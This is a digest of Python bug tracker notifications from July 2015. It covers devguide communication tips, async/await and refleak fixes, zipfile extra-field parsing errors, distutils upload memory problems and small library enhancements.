I tend to disagree with Ezio about a FAQ for general questions.  A pointer to appropriate alternatives for off-topic posts in the Mailman listinfo descriptions of the various list (which can be copied into the devguide, or linked from there) will be sufficient for people who actually read such things before posting.

OTOH, once there already is a misdirected post, I feel it's appropriate to say "This post is off-topic here because this list is for development of Python itself, not developing applications with Python.  Posts like yours are ignored  by almost all participants.  You will get help (possibly better than you could get on this list) on Python-X at python.org."  Adding a pointer to a FAQ which just repeats the same thing is browbeating IMO.  It's not like we don't have several people who have macros to say the above (and more politely than I did) who typically respond within hours to off-topic posts.  What more could a FAQ say?  Of course this needs to be on-list so that the poster (who usually is a little feckless rather than deliberately abusive) doesn't get spammed, and so that the multiple volunteers who handle these posts don't duplicate each other.

I personally would like to see a guideline to participants that if they want to offer advice on the question itself to people, that they do so off-list.  Whatever one's opinion on the utility of offering advice in response to an off-topic post, such advice is as off-topic as the question that elicits it.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 06:02:30 2015
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 23 Jul 2015 04:02:30 +0000
Subject: [issue24688] Fix ast.get_docstring to support 'async def' functions
In-Reply-To: <1437603223.58.0.585645745269.issue24688@psf.upfronthosting.co.za>
Message-ID: <1437624150.85.0.944568259502.issue24688@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

lgtm

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 06:03:35 2015
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 23 Jul 2015 04:03:35 +0000
Subject: [issue24687] refleak on SyntaxError in function parameter annotation
In-Reply-To: <1437602957.63.0.089802664911.issue24687@psf.upfronthosting.co.za>
Message-ID: <1437624215.21.0.21405354504.issue24687@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

I would prefer that compiler_visit_argannotation[s] be fixed to use the normal calling convention.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 06:36:50 2015
From: report at bugs.python.org (Carol Willing)
Date: Thu, 23 Jul 2015 04:36:50 +0000
Subject: [issue24689] Add tips for effective online communication to devguide
Message-ID: <1437626209.97.0.982042727918.issue24689@psf.upfronthosting.co.za>


New submission from Carol Willing:

To keep the scope of issue<24682> focused on the Quick Start sections of the devguide, I am creating this issue to add a new subsection 12.4 ("Tips for effective online communication") to devguide/communication.

The following are suggestions for this new subsection:
* msg<247161> email tips from python-dev post
* msg<247162> content and links to mailman
* msg<247096> suggestions for python-dev and python-ideas
* link to devguide/coredev#responsibilities
* link to devguide/faq#communications

----------
components: Devguide
messages: 247165
nosy: brett.cannon, ezio.melotti, sjt, willingc
priority: normal
severity: normal
stage: needs patch
status: open
title: Add tips for effective online communication to devguide
type: enhancement

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 06:42:52 2015
From: report at bugs.python.org (Carol Willing)
Date: Thu, 23 Jul 2015 04:42:52 +0000
Subject: [issue24682] Add Quick Start: Communications section to devguide
In-Reply-To: <1437540333.82.0.609056038167.issue24682@psf.upfronthosting.co.za>
Message-ID: <1437626572.16.0.301490474487.issue24682@psf.upfronthosting.co.za>


Carol Willing added the comment:

Thanks Stephen for the additional links and suggestions.

I would like to keep this issue focused on the Quick Start section added in the patch. 

I've opened Issue<24689> to focus on "tips for effective online communication". I have referenced the comments here and suggested an approach in the issue.

I want to keep momentum moving forward on improving the devguide and feel keeping issues well scoped will help us do that. If someone has the time to review this patch, I would appreciate the help. Thanks!

----------
keywords: +needs review -patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 07:14:21 2015
From: report at bugs.python.org (Martin Panter)
Date: Thu, 23 Jul 2015 05:14:21 +0000
Subject: [issue23883] __all__ lists are incomplete
In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za>
Message-ID: <1437628461.84.0.682816821253.issue23883@psf.upfronthosting.co.za>


Martin Panter added the comment:

Here is a brainstorm of alternatives that don?t require passing ?self? into a helper function. But IMO the current proposal that does pass ?self? is better.

* Passive expected_module_api() function, and manually check the return value. Precedent: support.detect_api_mismatch().

def test_all(self):  # In class test.test_tarfile.MiscTest
    blacklist = {"bltn_open", ...}
    possible_exports = support.expected_module_api(tarfile, ignore=blacklist)
    self.assertCountEqual(ftplib.__all__, possible_exports)

* ModuleApiTestBase class. Subclass it to use it:

class ExportsTest(support.ModuleApiTestBase):  # In module test.test_tarfile
    module = tarfile
    ignore = {"bltn_open", ...}

* Raise AssertionError directly in case of failure. No automatic error message showing the different names though. Precedents: support.run_doctest(), .check_warnings(), script_helper.assert_python_ok(), _failure().

* Make a temporary internal TestCase instance:

def check__all__(module, etc):
    expected = ...
    ...
    TestCase().assertCountEqual(module.__all__, expected)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 07:22:57 2015
From: report at bugs.python.org (Nan Wu)
Date: Thu, 23 Jul 2015 05:22:57 +0000
Subject: [issue24479] Support LMMS project files in mimetypes.guess_type
In-Reply-To: <1434795502.53.0.948243693094.issue24479@psf.upfronthosting.co.za>
Message-ID: <1437628977.47.0.0632901000571.issue24479@psf.upfronthosting.co.za>


Nan Wu added the comment:

Added a small patch. Pls let me know if anything missed.

----------
nosy: +bytesflow
Added file: http://bugs.python.org/file39989/issue24479_support_mmp_and_mmpz_suffix_in_guess_type

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 07:55:34 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 05:55:34 +0000
Subject: [issue24688] Fix ast.get_docstring to support 'async def' functions
In-Reply-To: <1437603223.58.0.585645745269.issue24688@psf.upfronthosting.co.za>
Message-ID: <20150723055530.13845.68860@psf.io>


Roundup Robot added the comment:

New changeset ecb13b9c4cd0 by Yury Selivanov in branch '3.5':
Issue #24688: ast.get_docstring() for 'async def' functions.
https://hg.python.org/cpython/rev/ecb13b9c4cd0

New changeset 5c8c88973709 by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24688)
https://hg.python.org/cpython/rev/5c8c88973709

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 07:56:13 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 05:56:13 +0000
Subject: [issue24688] Fix ast.get_docstring to support 'async def' functions
In-Reply-To: <1437603223.58.0.585645745269.issue24688@psf.upfronthosting.co.za>
Message-ID: <1437630973.2.0.86635579183.issue24688@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Thank you, Benjamin.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 08:05:54 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 06:05:54 +0000
Subject: [issue24687] refleak on SyntaxError in function parameter annotation
In-Reply-To: <1437602957.63.0.089802664911.issue24687@psf.upfronthosting.co.za>
Message-ID: <1437631554.45.0.858152266886.issue24687@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> I would prefer that compiler_visit_argannotation[s] be fixed to use the normal calling convention.

Agree, new patch attached.

----------
Added file: http://bugs.python.org/file39990/compile2.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 08:08:25 2015
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 23 Jul 2015 06:08:25 +0000
Subject: [issue24687] refleak on SyntaxError in function parameter annotation
In-Reply-To: <1437602957.63.0.089802664911.issue24687@psf.upfronthosting.co.za>
Message-ID: <1437631705.3.0.127403533567.issue24687@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

Seems fine to me.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 08:14:39 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 06:14:39 +0000
Subject: [issue24687] refleak on SyntaxError in function parameter annotation
In-Reply-To: <1437602957.63.0.089802664911.issue24687@psf.upfronthosting.co.za>
Message-ID: <20150723061436.24786.79065@psf.io>


Roundup Robot added the comment:

New changeset b5a7f529b4ac by Yury Selivanov in branch '3.5':
Issue #24687: Plug refleak on SyntaxError in function parameters annotations.
https://hg.python.org/cpython/rev/b5a7f529b4ac

New changeset cf91ae981afd by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24687)
https://hg.python.org/cpython/rev/cf91ae981afd

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 08:15:04 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 06:15:04 +0000
Subject: [issue24687] refleak on SyntaxError in function parameter annotation
In-Reply-To: <1437602957.63.0.089802664911.issue24687@psf.upfronthosting.co.za>
Message-ID: <1437632104.62.0.727840670298.issue24687@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Thanks, Benjamin!

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 08:15:17 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 06:15:17 +0000
Subject: [issue24687] refleak on SyntaxError in function parameter annotation
In-Reply-To: <1437602957.63.0.089802664911.issue24687@psf.upfronthosting.co.za>
Message-ID: <1437632117.58.0.641495646123.issue24687@psf.upfronthosting.co.za>


Changes by Yury Selivanov :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 08:15:39 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 06:15:39 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437632139.39.0.750679068117.issue24619@psf.upfronthosting.co.za>


Changes by Yury Selivanov :


----------
nosy: +benjamin.peterson

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 08:21:00 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 06:21:00 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437632460.33.0.46643418406.issue24619@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Updated patch attached (rebased; minor optimization).  I'll commit this patch in a few hours to make sure it lands in 3.5beta4.

----------
Added file: http://bugs.python.org/file39991/issue24619.4.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 08:43:33 2015
From: report at bugs.python.org (Kyle Huey)
Date: Thu, 23 Jul 2015 06:43:33 +0000
Subject: [issue24690] find_executable should expand ~
Message-ID: <1437633813.51.0.56388179288.issue24690@psf.upfronthosting.co.za>


New submission from Kyle Huey:

It would be nice if find_executable("~/path/to/my/local/build/of/a/binary") would work.

----------
components: Distutils
messages: 247176
nosy: Kyle Huey, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: find_executable should expand ~
versions: Python 3.3

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 08:47:50 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Thu, 23 Jul 2015 06:47:50 +0000
Subject: [issue24686] zipfile is intolerant of extra bytes
In-Reply-To: <1437585382.21.0.339790988945.issue24686@psf.upfronthosting.co.za>
Message-ID: <1437634070.92.0.689112840613.issue24686@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

The actual exception you're getting is IMHO a bug, it should have been a zipfile.BadZipfile exception.

That said, it might be useful to teach zipfile to optionally be a little more forgiving about errors like this when reading a zipfile. I'm at best -0 on that in general, in this case we could get away with restructuring the code a little: a number of ZipInfo attributes are set from "extra" data when the extra data is present and the value in the normal header max-ed out. The code could be changed to not even try to decode the "extra" data when the values in the normal header aren't max-ed out.

BTW. The RuntimeError that's raised in _decodeExtra should also be a BadZipfile exception.

----------
nosy: +alanmcintyre, ronaldoussoren, serhiy.storchaka, twouters

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 10:41:18 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 08:41:18 +0000
Subject: [issue16995] Add Base32 support for RFC4648 "Extended Hex" alphabet
 (patch attached)
In-Reply-To: <1358533279.94.0.666576182033.issue16995@psf.upfronthosting.co.za>
Message-ID: <1437640878.26.0.827032728942.issue16995@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
stage: patch review -> needs patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 10:55:32 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 08:55:32 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437641732.1.0.0318423817215.issue24681@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The condition that is determined by the PyObject_RichCompareBool() check is not that the element is already present, but that the element was present. Even if we will agree that such behavior change is appropriate, the inconsistency with dict makes it doubtful (originally set was implemented with dict).

I have no objections against tweaking so->table caching. I even think this part of the patch improves the code.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 11:44:13 2015
From: report at bugs.python.org (=?utf-8?q?Jan_St=C3=BCrtz?=)
Date: Thu, 23 Jul 2015 09:44:13 +0000
Subject: [issue24691] out of memory in distutils.upload with large files
Message-ID: <1437644652.98.0.268496303546.issue24691@psf.upfronthosting.co.za>


New submission from Jan St?rtz:

We tried to upload a very large (350MB) bdist egg via distutils to our internal package server. 
And received following crash.

Traceback (most recent call last):
  File "setup.py", line 1, in 
    import os
  File "C:\devel\cdb\10.1.tag\cdb\python\cdb\comparch\pkgtools.py", line 120, in setup
    def setup(**kwargs):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\core.py", line 60, in setup
    def setup(**attrs):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\dist.py", line 947, in run_commands
    def run_commands(self):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\dist.py", line 957, in run_command
    def run_command(self, command):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\command\upload.py", line 56, in run
    def run(self):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\command\upload.py", line 154, in upload_file
    body.write('\r\nContent-Disposition: form-data; name="%s"' % key)
MemoryError: out of memory

A patch could be very easy using tempfile.SpooledTemporaryFile()

----------
components: Distutils
messages: 247179
nosy: Jan.St?rtz, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: out of memory in distutils.upload with large files
type: crash
versions: Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 12:40:45 2015
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 23 Jul 2015 10:40:45 +0000
Subject: [issue24690] find_executable should expand ~
In-Reply-To: <1437633813.51.0.56388179288.issue24690@psf.upfronthosting.co.za>
Message-ID: <1437648045.22.0.766273721791.issue24690@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

You can use os.path.expanduser(). In general we leave decisions such as expanding user names and environment variables up to the caller, and we don't build them in to each function.

Although I'm not sure why you'd want to pass a full path name to distutils.spawn.find_executable(), if that's the function you're talking about. I'm not even entirely sure it's supposed to work given a full path.

----------
nosy: +eric.smith

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 12:50:17 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 10:50:17 +0000
Subject: [issue24686] zipfile is intolerant of extra bytes
In-Reply-To: <1437585382.21.0.339790988945.issue24686@psf.upfronthosting.co.za>
Message-ID: <1437648617.67.0.947449243545.issue24686@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The extra fields data is b"UT\x05\x00\x07<\xa3\xaa#\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xeb\x93\x91'\xef\xbf\xbd\xef\xbf\xbd\x01\x00\xde\xa8\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\x01\x00\xde\xa8\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\x01". It contains following fields:

* Extended Timestamp (0x5455), length = 5, data = b'\x07<\xa3\xaa#'. It looks correct.

* NTFS Extra Field (0x000a), length = 32, data = b"\x00\x00\x00\x00\x01\x00\x18\x00\x00\xeb\x93\x91'\xef\xbf\xbd\xef\xbf\xbd\x01\x00\xde\xa8\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd". Looks incorrect, but is ignored by ZipFile.

* Zip64 Extended Information Extra Field (0x0001), length = 
43230, data = b'\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\x01'. Definitely incorrect.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 12:50:55 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 10:50:55 +0000
Subject: [issue24686] zipfile is intolerant of extra bytes
In-Reply-To: <1437585382.21.0.339790988945.issue24686@psf.upfronthosting.co.za>
Message-ID: <1437648655.78.0.825609492356.issue24686@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

zipinfo -v emits an error:

Central directory entry #48:
---------------------------

  com/pixelmed/apps/DoseUtility$OurSourceDatabaseTreeBrowser$1.class

  offset of local header from start of archive:   2892
                                                  (0000000000000B4Ch) bytes
  file system or operating system of origin:      MS-DOS, OS/2 or NT FAT
  version of encoding software:                   2.0
  minimum file system compatibility required:     MS-DOS, OS/2 or NT FAT
  minimum software version required to extract:   2.0
  compression method:                             deflated
  compression sub-type (deflation):               normal
  file security status:                           not encrypted
  extended local header:                          no
  file last modified on (DOS date/time):          2011 Feb 15 19:46:54
  file last modified on (UT extra field modtime): 1988 Dec 17 21:11:08 local
  file last modified on (UT extra field modtime): 1988 Dec 17 18:11:08 UTC
  32-bit CRC value (hex):                         327bc88b
  compressed size:                                622 bytes
  uncompressed size:                              1304 bytes
  length of filename:                             66 characters
  length of extra field:                          59 bytes
  length of file comment:                         0 characters
  disk number on which file begins:               disk 1
  apparent file type:                             binary
  non-MSDOS external file attributes:             000000 hex
  MS-DOS file attributes (00 hex):                none

  The central-directory extra field contains:
  - A subfield with ID 0x5455 (universal time) and 5 data bytes.
    The local extra field has UTC/GMT modification/access/creation times.
  - A subfield with ID 0x000a (PKWARE Win32) and 32 data bytes.  The first
    20 are:   00 00 00 00 01 00 18 00 00 eb 93 91 27 ef bf bd ef bf bd 01.

  error: EF data block (type 0x0001) size 43230 exceeds remaining extra field
         space 10; block length has been truncated.

  - A subfield with ID 0x0001 (PKWARE 64-bit sizes) and 10 data bytes:
    ef bf bd ef bf bd ef bf bd 01.

  There is no file comment.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 12:54:31 2015
From: report at bugs.python.org (Ezio Melotti)
Date: Thu, 23 Jul 2015 10:54:31 +0000
Subject: [issue24689] Add tips for effective online communication to devguide
In-Reply-To: <1437626209.97.0.982042727918.issue24689@psf.upfronthosting.co.za>
Message-ID: <1437648871.59.0.418165311818.issue24689@psf.upfronthosting.co.za>


Ezio Melotti added the comment:

> msg247162
> It's not like we don't have several people who have macros to say the
> above (and more politely than I did) who typically respond within hours
> to off-topic posts.  What more could a FAQ say?

A FAQ would explain the "mistakes" and suggest solutions.  The content of the FAQ could also be copy-pasted directly in the reply, but at least we have standard replies for common cases that everyone can use, rather than private macros (with different wording) that just a few can use.

Off the top of my head, the common cases are:
* mails asking for help on python-dev/ideas that should go on python-list and similar;
* mails proposing ideas on python-dev that should go to python-ideas;
* mails reporting bugs or including patches should go to the bug tracker;
* mails suggesting the inclusion of a feature that doesn't belong to the stdlib;
* mails suggesting the inclusion of a feature that should be submitted and tested on PyPI first;
* mails suggesting the inclusion of an existing package that is better off on PyPI rather than in the stdlib;
* mails suggesting ideas that have already been discussed/submitted;

I think a FAQ covering these would help solve these threads quickly and save developers time.

Note that something similar was already being discussed by Nick in https://mail.python.org/pipermail/python-committers/2015-July/003454.html

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 13:21:42 2015
From: report at bugs.python.org (Antoine Pietri)
Date: Thu, 23 Jul 2015 11:21:42 +0000
Subject: [issue24692] types.coroutines() idempotence documentation
Message-ID: <1437650502.32.0.0288592289227.issue24692@psf.upfronthosting.co.za>


New submission from Antoine Pietri:

In the new types.coroutines() documentation, it is not clearly stated whether this function is idempotent or not: what happens when it is called on a function that is already a native coroutine?

----------
assignee: docs at python
components: Documentation
messages: 247184
nosy: docs at python, seirl
priority: normal
severity: normal
status: open
title: types.coroutines() idempotence documentation
versions: Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 13:36:37 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 23 Jul 2015 11:36:37 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437651397.51.0.903308511386.issue24681@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Sets are under no obligation to keep their code synced with dicts and have over time diverged in a number of ways.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 13:42:43 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 11:42:43 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <20150723114240.11642.74881@psf.io>


Roundup Robot added the comment:

New changeset bc80c783c4ab by Raymond Hettinger in branch 'default':
Issue #24681:  Move the store of so->table to the code block where it is used.
https://hg.python.org/cpython/rev/bc80c783c4ab

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 13:45:09 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 23 Jul 2015 11:45:09 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437651909.24.0.688896879024.issue24681@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
assignee: serhiy.storchaka -> rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 13:45:47 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 23 Jul 2015 11:45:47 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437651947.79.0.728693946595.issue24681@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


Added file: http://bugs.python.org/file39992/move_likely_first.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 13:46:09 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Thu, 23 Jul 2015 11:46:09 +0000
Subject: [issue18181] PEP447: Add type.__getdescriptor__
In-Reply-To: <1370870153.93.0.646087371852.issue18181@psf.upfronthosting.co.za>
Message-ID: <1437651969.03.0.268108750112.issue18181@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

Updated the title and versions, will work on an updated PEP and patch during and after EP'15.

----------
title: PEP447: Add type.__locallookup__ -> PEP447: Add type.__getdescriptor__
versions: +Python 3.6 -Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 14:02:47 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 12:02:47 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <20150723120245.22213.70300@psf.io>


Roundup Robot added the comment:

New changeset d03f86e41066 by Yury Selivanov in branch '3.5':
Issue #24619: Simplify async/await tokenization.
https://hg.python.org/cpython/rev/d03f86e41066

New changeset 3f8048926690 by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24619)
https://hg.python.org/cpython/rev/3f8048926690

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 14:03:28 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 23 Jul 2015 12:03:28 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437653008.0.0.256659290044.issue24681@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


Removed file: http://bugs.python.org/file39992/move_likely_first.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 14:04:39 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 12:04:39 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437653079.23.0.302546550792.issue24619@psf.upfronthosting.co.za>


Changes by Yury Selivanov :


----------
resolution:  -> fixed
stage: patch review -> commit review

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 14:06:59 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 23 Jul 2015 12:06:59 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437653219.39.0.129229039944.issue24681@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


Added file: http://bugs.python.org/file39993/move_likely_first.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 14:23:44 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 12:23:44 +0000
Subject: [issue24693] zipfile: change RuntimeError to more appropriate
 exception type
Message-ID: <1437654224.43.0.502488912035.issue24693@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

RuntimeError is raised in the zipfile module in many cases where more appropriate exception type is expected. Proposed patch changes a number of RuntimeErrors to one of BadZipFile, NotImplementedError, or ValueError. Only changing to NotImplementedError is backward compatible (NotImplementedError is subclass of RuntimeError), other changes are not.

----------
components: Library (Lib)
files: zipfile_exceptions.patch
keywords: patch
messages: 247189
nosy: alanmcintyre, ned.deily, ronaldoussoren, serhiy.storchaka, twouters
priority: normal
severity: normal
stage: patch review
status: open
title: zipfile: change RuntimeError to more appropriate exception type
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file39994/zipfile_exceptions.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 14:24:31 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 12:24:31 +0000
Subject: [issue24686] zipfile is intolerant of extra bytes
In-Reply-To: <1437585382.21.0.339790988945.issue24686@psf.upfronthosting.co.za>
Message-ID: <1437654271.77.0.204386250831.issue24686@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Opened issue24693 about exception type.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 14:59:32 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 12:59:32 +0000
Subject: [issue24692] types.coroutines() idempotence documentation
In-Reply-To: <1437650502.32.0.0288592289227.issue24692@psf.upfronthosting.co.za>
Message-ID: <20150723125929.62381.58200@psf.io>


Roundup Robot added the comment:

New changeset 636ce05ea8f6 by Yury Selivanov in branch '3.5':
Issue #24692: Add more tests for types.coroutine
https://hg.python.org/cpython/rev/636ce05ea8f6

New changeset 3f3e398bcd3e by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24692)
https://hg.python.org/cpython/rev/3f3e398bcd3e

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 15:01:16 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 13:01:16 +0000
Subject: [issue24692] types.coroutines() idempotence documentation
In-Reply-To: <1437650502.32.0.0288592289227.issue24692@psf.upfronthosting.co.za>
Message-ID: <1437656476.07.0.140993449209.issue24692@psf.upfronthosting.co.za>


Changes by Yury Selivanov :


----------
nosy: +vadmium

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 15:15:23 2015
From: report at bugs.python.org (R. David Murray)
Date: Thu, 23 Jul 2015 13:15:23 +0000
Subject: [issue24690] find_executable should expand ~
In-Reply-To: <1437633813.51.0.56388179288.issue24690@psf.upfronthosting.co.za>
Message-ID: <1437657323.7.0.290153474775.issue24690@psf.upfronthosting.co.za>


R. David Murray added the comment:

Agree with Eric.  Use expanduser if you want the ~ expanded.

----------
nosy: +r.david.murray
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 15:23:01 2015
From: report at bugs.python.org (R. David Murray)
Date: Thu, 23 Jul 2015 13:23:01 +0000
Subject: [issue2091] file accepts 'rU+' as a mode
In-Reply-To: <1202856909.89.0.801927341292.issue2091@psf.upfronthosting.co.za>
Message-ID: <1437657781.16.0.723023098586.issue2091@psf.upfronthosting.co.za>


R. David Murray added the comment:

I agree, a change that emits an error where none was emitted before should only go in the next release.  With a what's new entry.

It is possible there should be a deprecation or -3 warning in 2.7, but I'm not sure it is worth the effort.

----------
nosy: +r.david.murray

_______________________________________
Python tracker 

_______________________________________

